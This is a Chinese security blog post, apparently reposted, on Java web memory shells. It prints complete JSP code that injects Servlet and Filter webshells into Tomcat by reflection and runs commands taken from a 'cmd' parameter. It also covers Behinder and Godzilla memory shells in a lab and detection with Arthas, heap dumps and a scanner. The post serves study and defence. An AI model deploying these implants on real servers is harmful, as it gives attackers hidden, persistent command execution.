浅析JavaWeb内存马基础原理与查杀思路

文章目录

  • 前言
  • Java内存马
    • 内存马分类&原理
    • JavaWeb三大组件
    • 注入Servlet内存马
    • 注入Filter型内存马
    • JAVA Agent内存马
  • 哥斯拉木马
    • 0x01 WebShell
    • 0x02 MemShell
    • 0x03 FilterShell
    • 0x04 Arthas排查
    • 0x05 scanner查杀
  • 总结

前言

几年前写过《Web安全-一句话木马》,主要介绍了一句话木马的原理和应用,同时介绍了小马和大马这类常见 Webshell:
imagepng
随着攻防演练热度越来越高,攻防双方的博弈愈发激烈,流量分析、EDR 等专业安全设备开始被蓝方广泛使用,传统的文件上传的 webshll 或以文件形式驻留的后门越来越容易被检测到。于是内存马便顺应时势地诞生了,它是无文件攻击的一种常用手段,属于无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,这给防守方的检测带来巨大难度,因而演变成了当今攻防对抗中的主流大杀器。

Webshell 的变迁过程大致如下所述:

Web服务器管理页面——> 大马 ——> 小马拉大马 ——> 一句话木马 ——> 加密一句话木马 ——> 加密内存马

本文来学习下 Java 内存马的基础原理和在实战中的基础应用,以及当前的一些简单查杀手段。

Java内存马

内存马分类&原理

根据内存马的实现技术,大致可以分为如下几类(引用《Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】》一张图):

除了按照内存马的实现方式分类,还可以按照内存马的利用方式分为:冰蝎马、哥斯拉马、蚁剑马、命令回显马、流量隧道马等等。

【内存马基本原理】

内存马类型核心原理
Servlet-API 型内存马通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。
Java-agent 型内存马Java Agent 简单来说就是 JVM 提供的一种动态 hook class 字节码的技术,通过 Instrumentation (Java Agent API),开发者(攻击者)能够以一种无侵入的方式 (类似 Spring AOP),在 JVM 加载某个 class 之前修改其字节码的内容,或者修改已经被 JVM 加载过的 class,此技术正常情况下可被用于 Java 程序的性能监控、信息收集、问题诊断等。而 Agent 内存马的实现就是利用了这一特性,动态修改特定类的特定方法,在内存中注入恶意代码。

【内存马的优劣势】

内存马的运用场景内存马的缺点
1)由于网络原因不能反弹 shell 的;2)内部主机通过反向代理暴露 Web 端口的;3)服务器上有防篡改、目录监控等防御措施,禁止文件写入的;4)服务器上有其他监控手段,写马后会告警监控,人工响应的;5)服务使用 Springboot 等框架,无法解析传统 Webshell 的;服务重启后会失效;对于传统内存马,存在的位置相对固定,已经有相关的查杀技术可以检出

JavaWeb三大组件

JavaWeb 三大组件指的是:Servlet 程序、Filter 过滤器、Listener 监听器。
imagepng
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
imagepng
Filter 是介于 Web 容器和 Servlet 之间的过滤器,用于过滤未到达 Servlet 的请求或者由 Servlet 生成但还未返回响应。客户端请求从 Web 容器到达 Servlet 之前,会先经过 Filter,由 Filter 对 request 的某些信息进行处理之后交给 Servlet。同样,响应从 Servlet 传回 Web 容器之前,也会被 Filter 拦截,由 Filter 对 response 进行处理之后再交给 Web 容器。
imagepng
Listener 是用于监听某些特定动作的监听器。当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。下面是一个 HttpSession 的 Listener 示意图。
imagepng
Tomcat 作为 Servlet 容器,将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,传递给 servlet;同时会将响应的信息封装为 HttpServletResponse 类型的 response 对象,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器。
imagepng
Tomcat 简单概括 来说就是 http 服务器 + servlet 容器。下文的演示实验将均基于 Tomcat 服务器开展。

注入Servlet内存马

接下来将参考《 初识JAVA内存马》一文(强烈推荐仔细阅读),来认识下传统 JavaWeb 的 Servlet、Filter 类型内存马的注入原理与过程,环境直接使用在 Ubuntu 虚拟机上基于 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境。
imagepng
先看看正常的 Servlet 组件是如何注册的,新建一个 ShellServlet 接收前端发来的 cmd 命令并回显:

package com.example.servlet;import java.io.*;
import java.util.Scanner;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.*;
import javax.servlet.annotation.*;public class ShellServlet extends HttpServlet {public void init(ServletConfig servletConfig) throws ServletException {}public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {// 从HTTP请求中获取名为"cmd"的参数,该参数包含要执行的操作系统命令String cmd = servletRequest.getParameter("cmd");// 检查操作系统类型以确定要使用的命令行解释器(Windows或Linux)boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}// 根据操作系统类型创建要执行的命令String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};// 执行命令并将输出写入到字符串变量中InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";// 将命令执行结果发送回HTTP响应PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}public void destroy() {}
}

然后需要将这个 ShellServlet 注册进 tomcat 容器,也就是在 web.xml 中写入:

<servlet><servlet-name>Getshell</servlet-name><servlet-class>com.example.servlet.ShellServlet</servlet-class>
</servlet>
<servlet-mapping><servlet-name>Getshell</servlet-name><url-pattern>/shell</url-pattern>
</servlet-mapping>

接着访问/shell并带上 cmd 参数就可以实现命令执行了。

现在我们的目标是往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet(即内存马),完成这个目标的当前前提是已经拥有了一个 Webshell(是的,当前想要注入内存马之前还需要拥有一个传统落地文件类型的马子来实现 RCE 才行,除非可以直接借助反序列化漏洞或命令执行漏洞直接 RCE,具体可参见《Tomcat反序列化注入回显内存马》,后续会单独学习),此处为了聚焦内存马的学习(实际上是懒得一步步搭建完整的漏洞环境),直接忽略此前提,直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而注入内存马。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Title</title>
</head>
<body>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%!public class Shell2Servlet extends HttpServlet {public void init(ServletConfig servletConfig) throws ServletException {}public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}public void destroy() {}}
%>
<%//通过反射获取applicationContextServletContext servletContext = request.getServletContext();Field applicationField = servletContext.getClass().getDeclaredField("context");applicationField.setAccessible(true);ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);//通过反射获取standardContextField standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context =  (StandardContext) standardContextField.get(applicationContext);//创建wrapper,将Servlet名放到wrapper,最后实例化Shell2ServletWrapper wrapper = context.createWrapper(); wrapper.setName("Shell2Servlet"); wrapper.setServletClass(Shell2Servlet.class.getName()); wrapper.setServlet(new Shell2Servlet());//将wrapper放到standardContext里context.addChild(wrapper);//映射url地址,注意如果是Tomcat7则使用addServletMapping("/shell2", "Shell2Servlet")context.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>
</body>
</html>

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /shell2"Shell2Servlet"组件注册到目标 Web 系统的 JVM 之中,而"Shell2Servlet"组件接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

直接将上述 shell.jsp 复制存放到 Tomcat 靶场的 /webapps/ROOT路径下:
imagepng
然后访问 shell.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马:
imagepng
最后成功访问我们注入的内存马:
imagepng

注入Filter型内存马

Filter 作为 Java web 三大件之一,是一种可以对请求和响应进行拦截和处理的组件。Filter可以实现许多功能,如登录控制,权限管理,过滤敏感词汇等。Filter 的使用需要实现Filter接口,重写 doFilter 方法,并且配置拦截路径。

和 servlet 类似,我们先按正常操作添加一个 Myfilter:

package com.example.filter;
import javax.servlet.*;
import java.io.IOException;public class Myfilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("Filter被执行了");filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {}
}

需要在 web.xml 中绑定 url:

<filter><filter-name>Myfilter</filter-name><filter-class>com.example.filter.Myfilter</filter-class>
</filter>
<filter-mapping><filter-name>Myfilter</filter-name><url-pattern>/hello</url-pattern>
</filter-mapping>

此时在访问 /hello的时候 doFilter 的逻辑代码就会被调用。

接下来我们的目的是注入一个 Filter 型内存马,即借助反射技术向 Tomcat 容器中直接注册一个恶意 Filter,使得在访问任意 URL 的时候均能调用到恶意代码。这个过程自然需要去阅读 Tomcat 源码看看其是如何完成 JavaWeb 项目中的 Filter 组件的解析和注册的,详情请参考《 初识JAVA内存马》。

总的来说,Tomcat Filter 的工作流程如下:

  • 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称;
  • 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig;
  • 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain;
  • filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法;

根据上面的流程分析,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发内存马。

此处直接给出最终的恶意 shell.jsp 代码:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic void destroy() {}
}
%>
<%//拿到standardContextServletContext servletContext = request.getServletContext();Field applicationField = servletContext.getClass().getDeclaredField("context");applicationField.setAccessible(true);ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext =  (StandardContext) standardContextField.get(applicationContext);//设置filterDefFilterDef filterDef = new FilterDef();filterDef.setFilterClass(Shellfilter.class.getName());filterDef.setFilterName("Shellfilter");filterDef.setFilter(new Shellfilter());standardContext.addFilterDef(filterDef);//设置filterMapFilterMap filterMap = new FilterMap();filterMap.setFilterName("Shellfilter");filterMap.addURLPattern("/tr0e"); //设置要映射的urlfilterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求standardContext.addFilterMap(filterMap);//将standardContext和filterDef放到filterConfig中Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);configconstructor.setAccessible(true);FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);//反射获取filterConfigField configsfield = standardContext.getClass().getDeclaredField("filterConfigs");configsfield.setAccessible(true);Map filterConfigs = (Map) configsfield.get(standardContext);filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /tr0e"Shellfilter"过滤器组件注册到目标 Web 系统的 JVM 之中,而"Shellfilter"过滤器组件在其 doFilter 函数中接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

同样直接将上述 shell.jsp 放到服务器的 ROOT 根路径下,然后访问 shell.jsp,完成恶意 Filter 的注册(完成内存马的注入):
imagepng
接着访问对应的路由 “/tr0e” 并传递 “cmd” 参数执行命令即可:
imagepng

JAVA Agent内存马

前面已经简单介绍了 Java Agent 内存马的基本原理,Java 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。

0x01 Java Agent基础

首先推荐一篇博文:《Java Agent 从入门到内存马》,从 0 到 1 讲述了 Java Agent 基本原理和 Agent 内存马的生成,很适合像我这样第一次了解 Java Agent 内存马的新手学习。特别声明:本小节参考了此文章大部分内容。

Java agent 的使用方式有两种:

  • 实现 premain 方法,在 JVM 启动前加载。
  • 实现 agentmain 方法,在 JVM 启动后加载。

以一个简单的 premain 为例,创建一个类并且实现 premain 方法:

package com.shiroha.demo;import java.lang.instrument.Instrumentation;public class PreDemo {public static void premain(String args, Instrumentation inst) throws Exception{for (int i = 0; i < 10; i++) {System.out.println("hello I`m premain agent!!!");}}
}

需要打包成 jar,比如 agent.jar,然后使用 -javaagent:agent.jar 参数执行 hello.jar(实现逻辑就是打印 hello world),结果如下:
imagepng
可以发现在 hello.jar 输出 hello world 之前就执行了 agent.jar 的 com.shiroha.demo.PreDemo$premain 方法。
imagepng
然而这种方法存在一定的局限性——只能在启动时使用-javaagent参数指定。在实际环境中,目标的 JVM 通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain 更加实用。

agentmain 不是通过 JVM 启动前的参数来指定的,官方为了实现启动后加载,提供了 Attach API,核心类是 VirtualMachine,类允许我们通过给 attach 方法传入一个 jvm 的 pid(进程id),远程连接到 jvm 上,代理类注入操作只是它众多功能中的一个,通过 loadAgent 方法也可以向 jvm 注册一个代理程序 agent。

public abstract class VirtualMachine {// 获得当前所有的JVM列表public static List<VirtualMachineDescriptor> list() { ... }// 根据pid连接到JVMpublic static VirtualMachine attach(String id) { ... }// 断开连接public abstract void detach() {}// 加载agent,agentmain方法靠的就是这个方法public void loadAgent(String agent) { ... }}

通过 agentmain 注入 agent 的流程大致如下:
imagepng
与 Java Agent 相关的技术与 API 还有:

  1. Instrumentation:JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果;
  2. Javassist: JAVA programming ASSISTant 是在 Java 中编辑字节码的类库,它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。而还有一种和反射一样强大的特性,但是开销却很低,它就是 Javassist。

篇幅所限不展开介绍相关 API,此处直接给出一个实际的通过 Java Agent 动态修改 java 程序逻辑的案例。

先定义待注入的目标程序 hello.jar(使用 Scanner 是为了在注入前不让程序结束):

// HelloWorld.java
public class HelloWorld {public static void main(String[] args) {hello h1 = new hello();h1.hello();// 输出当前进程的 pidSystem.out.println("pid ==> " + [pid])// 产生中断,等待注入Scanner sc = new Scanner(System.in);sc.nextInt();hello h2 = new hello();h2.hello();System.out.println("ends...");}
}// hello.java
public class hello {public void hello() {System.out.println("hello world");}
}

接着定义 Java agent 程序 agent.jar:

// AgentDemo.java
public class AgentDemo {public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {Class[] classes = inst.getAllLoadedClasses();// 判断类是否已经加载for (Class aClass : classes) {      if (aClass.getName().equals(TransformerDemo.editClassName)) { // 添加 Transformerinst.addTransformer(new TransformerDemo(), true);// 触发 Transformerinst.retransformClasses(aClass);}}}
}// TransformerDemo.java
// 如果在使用过程中找不到javassist包中的类,那么可以使用URLCLassLoader+反射的方式调用
public class TransformerDemo implements ClassFileTransformer {// 只需要修改这里就能修改别的函数public static final String editClassName = "com.xxxx.hello.hello";public static final String editClassName2 = editClassName.replace('.', '/');public static final String editMethod = "hello";@Overridepublic byte[] transform(...) throws IllegalClassFormatException {try {ClassPool cp = ClassPool.getDefault();if (classBeingRedefined != null) {ClassClassPath ccp = new ClassClassPath(classBeingRedefined);cp.insertClassPath(ccp);}CtClass ctc = cp.get(editClassName);CtMethod method = ctc.getDeclaredMethod(editMethodName);//通过javassist技术动态修改所注入进程的函数逻辑String source = "{System.out.println(\"hello transformer\");}";method.setBody(source);byte[] bytes = ctc.toBytes();ctc.detach();return bytes;} catch (Exception e){e.printStackTrace();}return null;}
}

这个示例比较通用,需要更改不同的方法时只需要改变常量和 source 变量即可。

来看看效果:
imagepng
可以看到的是当第二次调用com.xxx.hello.hello#hello()的时候,输出的内容变成了hello transformer

0x02 冰蝎内存马实践

直接将冰蝎的普通 shell.jsp 复制到靶场的根路径下(省略实战中的文件上传漏洞的利用过程):
imagepng
默认连接密码:rebeyond,成功连接:
imagepng
进一步右键注入内存马:
imagepng
imagepng
imagepng
imagepng

0x03 冰蝎内存马浅析

冰蝎属于开源项目,可以下载并查看其源码,分析内存马的实现:Release Behinder_v4.1【t00ls专版】 · rebeyond/Behinder。

冰蝎内存马通过修改 javax.servlet.http.HttpServlet#service 方法,添加自己的内存马逻辑,具体的实现过程分析请参见: 《冰蝎内存webshell注入和防检测分析》。

从 injectMemShell 方法里面可以发现冰蝎通过文件上传功能,根据 OS 信息上传内置的不同 agent.jar,然后通过 loadJar 函数加载对应的恶意 agent.jar 注入到目标进程 Java 之中:
imagepng
查看对应的 resource 目录,可发现被注入的 4 个 jar 包(其具体逻辑分析此处暂且忽略):
imagepng
整体上,冰蝎内存马大致的的实现流程可简单概括如下:

  • 通过 javaassist 获取 javax.servlet.http.HttpServlet 类的字节码;
  • 向 service 方法添加字节码;
  • 清除 javaassist 缓存,调用 redefineClass 重新定义修改后的 HttpServlet 字节码;

这样,http 中间件在处理每个 http 链接的时候,就会调用修改后的 httpservlet 方法。如果发现处理的 url 为内存马需要响应的 url,则执行 webshell 处理流程,否则隐藏不执行任何操作。

哥斯拉木马

哥斯拉和冰蝎实现内存马的方式是不一样的,哥斯拉选择的是动态注册 Servlet 组件来实现内存马的注入,而冰蝎则是通过 javaagent 技术配合 javassist 技术来实现内存马的注入。详情可参见:《JAVA内存马的“一生”》和 《冰蝎内存webshell注入和防检测分析》。

接下来还是在 Ubuntu 虚拟机上借助 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境上传哥斯拉的传统 Webshell 木马,并注入内存马,同时看下当前一些查杀内存马的工具与思路。
imagepng

0x01 WebShell

生成哥斯拉木马:
imagepng
借助 docker cp test.jsp 容器 id:/tmp/test.jsp 将马子传递到 docker 容器的 Tomcat 的 /Webapps/ROOT 根路径下:
imagepng
imagepng
连接木马:
imagepng
imagepng
imagepng

0x02 MemShell

借助上面哥斯拉 jsp 木马的 Webshell 会话,进一步注入内存马:
imagepng
新建 Webshell 连接测试,成功连接内存马:
imagepng
imagepng

0x03 FilterShell

顺便再上一个 FilterShell 体验下:
imagepng
查询过滤器,可以看到成功新增的过滤器,同时哥斯拉提供了删除插入的恶意 FilterShell 的功能:
imagepng
But 这个马子如何使用??根据已有信息连接不上,官方文档和公开文章也没看到相关信息……有知情大佬请赐教。

0x04 Arthas排查

Arthas 是 Alibaba 开源的 Java 诊断工具,也可用于帮助我们分析 JVM 内存中的风险数据。
imagepng
具体用法参见:https://github.com/alibaba/arthas/blob/master/README_CN.md 或者 https://arthas.aliyun.com/doc/。
与内存马排查相关的命令用法如下:

//下载arthas-boot.jar,然后用java -jar的方式启动:
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar
//查看 Mbean 的信息,查看异常Filter/Servlet节点
mbean | grep -E "Servlet|Filter"
//搜索符合pattern的Servlet
sc *.Servlet
//搜索符合pattern的Filter
sc *.Filter
//反编译指定类的字节码,查看类的实现代码
jad --source-only org.apache.jsp.memshell_jsp
//将JVM中所有的classloader的信息统计出来,显示当前应用程序中所有的类加载器及其层次结构,可以查看每个类加载器的名称、父加载器和已加载的类数量
classloader
//heapdump生成 Java 应用程序的堆转储(Heap Dump)文件
[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created
[arthas@1]$

imagepng
首先借助 mbean | grep "name=/"查看 Mbean 属性信息,可以发现上面注入 Memshell 后多了个异常 servlet:
imagepng
进一步借助 sc *.Servlet命令搜索出所有已经加载到 JVM 中的 Servlet Class 信息,发现原来注入的 Webshell 文件 test.jsp:
imagepng
也可以使用 sc *.Filter查看所有的 Filter,看到了可疑的 Filter:org.apache.coyote.deser.std.StdScalarDeserializer(名字伪造得很像合法的了):
imagepng
使用 Arthas 提供的 jad 命令直接反编译查看源码,以jad org.apache.coyote.deser.std.StdScalarDeserializer为例(实际上 org.apache.coyote.introspect.WithMember 也属于恶意 FilterShell):
imagepng
imagepng
imagepng
还可以通过 classloader 命令将 JVM 中所有的 classloader 的信息统计出来:
imagepng
最后有个终极排查思路,就是内存 dump,不管内存马如何 hook,但是内存🐴肯定是在内存中的。通过 Arthas 提供的 heapdump 命令生成 Java 应用程序的堆转储(Heap Dump)文件:

[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created
[arthas@1]$

拖到宿主机进行检索,可使用 string 查看 POST 请求的记录,排查可疑的请求目录:

strings /home/sbw/Downloads/test.hprof|grep "POST /"
//搜索webapps下的文件请求,排查是否有异常的可疑文件
strings /home/sbw/Downloads/test.hprof|grep -E "/webapps/.*?!" | sort -u

如下发现了哥斯拉 Webshell 的连接请求:
imagepng

0x05 scanner查杀

c0ny1 师傅编写的工具:java-memshell-scanner,通过 jsp 脚本扫描 java web Filter/Servlet 型内存马,原理分析:Filter/Servlet型内存马的扫描抓捕与查杀。
imagepng

sbw@ubuntu:~/Downloads$ docker cp tomcat-memshell-scanner.jsp ef:/usr/local/tomcat/webapps/ROOT
Successfully copied 21.5kB to ef:/usr/local/tomcat/webapps/ROOT
sbw@ubuntu:~/Downloads$

访问 tomcat-memshell-scanner,成功识别出来上面注入的 Memshell 和 FilterShell 两个内存马:
imagepng
点击对应的 kill 按钮可以直接清除对应的内存马,注销 Servlet 的大致原理是,通过反射调用,将该 Servlet 从全局 servletMappings 和 children 中清除掉即可:
imagepng
imagepng
最后,顺便实践看下冰蝎注入的内存马能否被此脚本检测出来:
imagepng
imagepng

【More】 了解更多 Java 内存马的实现原理,请参见:《JAVA内存马的“一生”》、《JavaWeb 内存马一周目通关攻略 | 素十八》、《Java内存马攻防实战—攻击基础篇》和 《冰蝎内存webshell注入和防检测分析》。

总结

传统的 Webshell 后门,无论如何花费心思隐藏、如何变化,在现有的防御措施下都已经无法有效长期在目标系统内存留,防御措施简单列举:

  • 对于终端安全:有文件监控、防篡改、EDR;
  • 对于后门:有 Webshell 查杀、流量监测;
  • 对于网络层面:有防火墙防止反连、反向代理系统隐藏真实 IP 等等。

目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上,在部分环境下甚至完全无法落地,防御方可以做到快速应急响应。正因为这些限制,内存马技术得以诞生并快速发展,无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多攻击者青睐,在实战环境中已占得一席之地。

【内存马的排查思路】

作为应急或者运维人员,当遇到疑似内存马的安全事件时,该如何去快速确认内存马是否存在以及确认内存马的位置呢?大体思路如下。

  1. 先查看检查服务器 web 日志,查看是否有可疑的 web 访问日志,比如说 filter 或者 listener 类型的内存马,会有大量 url 请求路径相同参数不同的,或者通过查找返回 200 的 url 路径对比 web 目录下是否真实存在文件,如不存在大概率为内存马。
  2. 在 java 中只有被 JVM 加载后的类才能被调用,或者在需要时通过反射通知 JVM 加载,所以特征都在内存中,表现形式为被加载的 class,因此产生一个检测思路:dump JVM 已加载 class 字节码->反编译成 java 代码-> 源码 webshell 检测。

目前常用的哥斯拉、冰蝎、蚁剑等常用的 Webshell 管理工具,都提供了一键打入内存马的功能,但是同时也存在一个致命的逻辑上的“问题”:要先有文件型 webshell,再植入内存马,这是不是违背了使用内存马技术的初衷?

攻防实战中是否也一定要通过落地 JSP 再使用 Webshell 管理软件进行内存马注入?能否实现完全无落地文件便注入内存马?答案是当然的,比如我们也可以直接借助反序列化漏洞或命令执行漏洞等 RCE 漏洞直接植入内存马,具体可参见《Tomcat反序列化注入回显内存马》,后续会结合反序列化漏洞进行单独学习。

本文参考文章:

  1. Shell中的幽灵王者—Java内存马_认知篇;
  2. 一文看懂内存马 - FreeBuf网络安全行业门户;
  3. 初识JAVA内存马_JavaWeb传统内存马从0到1;
  4. Java Agent 从入门到内存马;
  5. 干货|冰蝎、哥斯拉 内存马应急排查;
  6. 内存马检测排查手段;
  7. Java内存马攻防实战_攻击基础篇_全;
  8. JAVA内存马的“一生”(很全面);
  9. JavaWeb 内存马一周目通关攻略 | 素十八;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/792051.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PurpleKeep:提供Azure管道以创建基础设施并执行Atomic测试

关于PurpleKeep PurpleKeep是一款功能强大的安全测试自动化工具&#xff0c;该工具能够通过提供Azure管道以创建基础设施&#xff0c;并帮助广大研究人员执行Atomic测试。 随着攻击技术种类的迅速增加&#xff0c;以及EDR&#xff08;端点检测和响应&#xff09;和自定义检测规…

二叉树层序遍历 及相关题目

1&#xff0c;力扣102 给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9,20],[15,7]]示例…

Canvas背景绘制-24

本节会详细介绍下&#xff0c;如何绘制面板的背景。 概述 常用的技术称为图块复制(blitting)&#xff0c;即从离屏缓冲区中将内容发生变化的那部分背景图像复制到屏幕上&#xff0c;还有其它两种方法是将所有内容擦除并重新绘制&仅重绘内容发生变化的那部分区域。一般是用…

网络:HTTP协议

目录 序列化与反序列化 守护进程 网络计算器的实现 HTTP协议 http的代码演示 HTTPS 初步理解三次握手&#xff0c;四次挥手 ①tcp是面向连接的通信协议&#xff0c;在通信之前&#xff0c;需要进行3次握手&#xff0c;来进行连接的建立(谁connect谁握手) ②当tcp在断开…

稀碎从零算法笔记Day35-LeetCode:字典序的第K小数字

要考虑完结《稀碎从零》系列了哈哈哈 这道题和【LC.42 接雨水】&#xff0c;我愿称之为【笔试界的颜良&文丑】 题型&#xff1a;字典树、前缀获取、数组、树的先序遍历 链接&#xff1a;440. 字典序的第K小数字 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1…

Linux是怎么发送一个网络包的?

目录 摘要 1 从 send 开始 2 传输层 3 网络层 4 网络接口层 4.1 邻居子系统 4.2 网络设备子系统 4.3 软中断发送剩余的 skb 4.4 硬中断又触发软中断 总结 摘要 一个网络包的发送&#xff0c;始于应用层&#xff0c;经层层协议栈的封装&#xff0c;终于网卡。今天来循…

ubuntu18.04图形界面卡死,鼠标键盘失灵, 通过MAC共享网络给Ubuntu解决!

